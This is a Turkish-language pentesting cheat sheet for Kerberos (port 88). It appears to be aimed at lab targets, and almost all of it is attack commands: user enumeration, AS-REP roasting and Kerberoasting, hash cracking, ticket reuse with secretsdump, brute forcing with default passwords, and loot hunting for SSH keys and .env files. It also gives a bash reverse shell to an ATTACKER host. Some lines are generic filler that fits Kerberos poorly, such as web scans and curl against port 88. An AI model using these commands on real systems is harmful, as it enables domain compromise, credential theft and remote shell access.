88tcp/udp - Pentesting Kerberos

Kerberos ad

Kerberos AD kimlik merkezidir. User enum, AS-REP roast, Kerberoast ve ticket theft lateral üretir. Hedef lab IP’si üzerinde komutları 88 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 88/TCP-UDP.

2. User enum.

3. Roasting.

4. Ticket reuse.

Keşif

nmap -Pn -sV -p88 TARGET

nmap -Pn -p88 --script krb5-enum-users TARGET

nxc ldap TARGET -u users.txt -p '' --users

kerbrute userenum --dc TARGET -d DOMAIN users.txt

Roast

impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip TARGET -no-pass

impacket-GetUserSPNs DOMAIN/user:pass -dc-ip TARGET -request

hashcat -m 13100 roast.txt rockyou.txt

Tickets

impacket-getTGT DOMAIN/user:pass -dc-ip TARGET

export KRB5CCNAME=user.ccache

impacket-secretsdump -k -no-pass DOMAIN/TARGET

Derin enum

tcp/udp - Kerberos için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p88 TARGET

nmap -Pn -p88 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:88' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',88));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → tcp/udp - Kerberos

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 88 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 88

nmap -p88 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit Kerberos

msfconsole -q -x 'search Kerberos; exit'

nuclei -u https://TARGET:88 -t cves/ -silent -severity || true

nuclei -u http://TARGET:88 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 88

printf '
' | timeout 3 nc -nv TARGET 88

curl -vk --http1.0 http://TARGET:88/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

enum → roast/crack → TGT → secretsdump